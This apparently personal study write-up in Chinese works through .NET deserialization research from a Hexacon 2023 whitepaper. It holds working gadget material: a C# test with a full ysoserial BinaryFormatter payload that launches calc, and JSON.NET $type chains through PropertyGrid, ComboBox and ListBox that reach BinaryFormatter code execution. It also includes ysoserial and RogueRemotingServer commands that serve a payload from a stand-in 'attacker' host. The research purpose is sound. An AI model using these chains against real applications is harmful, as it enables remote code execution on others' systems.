@chudyPB在Hexacon 2023会议上发布了他的dotnet反序列化的研究白皮书,一个长达124页的pdf,这是我看过最强的一篇关于dotnet序列化漏洞的文章。
chudyPB从SolarWinds的json.net反序列化出发,从反序列化到黑名单绕过,其中黑名单绕过用到了多个gadget,其中有SolarWinds代码库中的,也有三方库中的。通过不断的黑名单绕过,展示了SolarWinds的多个历史漏洞。
然后展示了Delta Electronics InfraSuite Device Master中MessagePack的反序列化漏洞,针对该产品的设计架构,然后引出一个更大的利用面,即反序列化的恶意对象如果被再次序列化也会触发某些恶意操作。
对我而言这是一个新的利用面:不安全的序列化(Insecure Serialization),发生在序列化阶段。
接着作者对Insecure Serialization展示了几个gadget,然后由于序列化阶段调用的是getter,所以作者又找了几个getter call的gadget,然后串起来成为新的反序列化gadget。接下来我将主要对这部分进行学习。
根据serializeAs进行binaryformatter.deserialize()
,参数都是可控的。
写出对应代码测试一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
using Newtonsoft.Json ;
using System.Configuration ;
namespace ConsoleApp2
{
internal class Program
{
static void Main ( string [] args )
{
SettingsProperty settingsProperty = new SettingsProperty ( "aa" );
settingsProperty . SerializeAs = SettingsSerializeAs . Binary ;
SettingsPropertyValue settingsPropertyValue = new SettingsPropertyValue ( settingsProperty );
settingsPropertyValue . Deserialized = false ;
// ysoserial.exe -c calc -g TextFormattingRunProperties -f binaryformatter
settingsPropertyValue . SerializedValue = "AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw==" ;
JsonConvert . SerializeObject ( settingsPropertyValue , new JsonSerializerSettings () { TypeNameHandling = TypeNameHandling . All });
}
}
}
可以看到通过序列化调用getter时弹出了计算器
朴实无华,但是在实际写的时候发现了问题。直接调用getter确实可以,但是通过json.net不行,究其原因发现json.net在序列化时,如果重写了序列化函数GetObjectData,则会调用该函数来序列化,binaryformatter也是一样。
所以不会触发getter。作者也写了限制
不过无所谓,可以和后面的任意getter call串起来。
dll加载,略
他的SelectedObjects setter中可以调用obj的所有getter
1
2
3
4
5
6
7
8
{
"$type" : "System.Windows.Forms.PropertyGrid, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" ,
"SelectedObjects" : [
{
"your" : "object"
}
]
}
东西太多 直接看堆栈
1
2
3
4
5
6
7
8
9
System.Object System.ComponentModel.PropertyDescriptor::GetValue(System.Object)
System.Windows.Forms.PropertyGridInternal.GridEntry[]
System.Windows.Forms.PropertyGridInternal.GridEntry::GetPropEntries(System.Windows.Forms.PropertyGridInternal.GridEntry,System.Object,System.Type)
System.Boolean System.Windows.Forms.PropertyGridInternal.GridEntry::CreateChildren(System.Boolean)
System.Void System.Windows.Forms.PropertyGridInternal.GridEntry::Refresh()
System.Void System.Windows.Forms.PropertyGrid::UpdateSelection()
System.Void System.Windows.Forms.PropertyGrid::RefreshProperties(System.Boolean)
System.Void System.Windows.Forms.PropertyGrid::Refresh(System.Boolean)
System.Void System.Windows.Forms.PropertyGrid::set_SelectedObjects(System.Object[])
循环遍历SelectedObjects,然后调用object的所有getter
1
2
3
4
5
6
7
8
9
10
{
"$type" : "System.Windows.Forms.ComboBox, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" ,
"Items" : [
{
"your" : "obj"
}
],
"DisplayMember" : "obj的成员名称" ,
"Text" : "whatever"
}
和ComboBox大同小异
1
2
3
4
5
6
7
8
9
10
{
"$type" : "System.Windows.Forms.ListBox, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" ,
"Items" : [
{
"your" : "object"
}
],
"DisplayMember" : "MaliciousMember" ,
"Text" : "whatever"
}
和上面一样,不写了
PropertyGrid+SecurityException PropertyGrid+SettingsPropertyValue ListBox+SecurityException ListBox+SettingsPropertyValue ComboBox+SecurityException ComboBox+SettingsPropertyValue CheckedListBox+SecurityException CheckedListBox+SettingsPropertyValue 写几个简单的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
{
"$type" : "System.Windows.Forms.PropertyGrid, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" ,
"SelectedObjects" : [
{
"$type" : "System.Security.SecurityException" ,
"ClassName" : "System.Security.SecurityException" ,
"Message" : "Security error." ,
"Data" : null ,
"InnerException" : null ,
"HelpURL" : null ,
"StackTraceString" : null ,
"RemoteStackTraceString" : null ,
"RemoteStackIndex" : 0 ,
"ExceptionMethod" : null ,
"HResult" : -2146233078 ,
"Source" : null ,
"WatsonBuckets" : null ,
"Action" : 0 ,
"FirstPermissionThatFailed" : null ,
"Demanded" : null ,
"GrantedSet" : null ,
"RefusedSet" : null ,
"Denied" : null ,
"PermitOnly" : null ,
"Assembly" : null ,
"Method" : "base64-encoded-binaryformatter-gadget" ,
"Method_String" : null ,
"Zone" : 0 ,
"Url" : null
}
]
}
json.net对其进行处理时,会先把里层的SecurityException对象反序列化出来,然后把SecurityException对象传递给SelectedObjects的setter,这个setter可以调用SecurityException对象的getter,当执行到get_Method时就触发了BinaryFormatter rce。
由此,从setter->getter->rce的链串起来了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"$type" : "System.Windows.Forms.ComboBox, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" ,
"Items" : [
{
"$type" : "System.Configuration.SettingsPropertyValue, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" ,
"Name" : "test" ,
"IsDirty" : false ,
"SerializedValue" : {
"$type" : "System.Byte[], mscorlib" ,
"$value" : "base64-encoded-binaryformatter-gadget"
},
"Deserialized" : false
}
],
"DisplayMember" : "PropertyValue" ,
"Text" : "whatever"
}
同样setter->getter->rce
今天才看到ysoserial.net新增了很多gadget,其中有一条类似于java中的jrmp client,找了找,原始的利用文章在这, https://code-white.com/blog/2022-01-dotnet-remoting-revisited/
利用也很简单
1
2
3
4
5
6
7
8
# generate a SOAP payload for popping MSPaint
ysoserial.exe -f SoapFormatter -g TextFormattingRunProperties -o raw -c MSPaint.exe > MSPaint.soap
# start server to deliver the payload on all interfaces
RogueRemotingServer.exe --wrapSoapPayload http://0.0.0.0/index.html MSPaint.soap
# test the ObjRef gadget with the target http://attacker/index.html
ysoserial.exe -f BinaryFormatter -g ObjRef -o raw -c http://attacker/index.html -t
通过Remoting来进行soap反序列化,其实也能用来做dnslog。
比较可惜的是PictureBox没继承Serializable接口,不能被BinaryFormatter这种原生formatter序列化。
白皮书最后提到了dotnet5的payload,我觉得都不太好用,需要启用wpf,或者需要PresentationFramework.dll,而且都是dll加载,不过也算是新的gadget了,记一下。
ObjectDataProvider BaseActivationFactory CompilerResults 看我文章不如看原pdf。
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。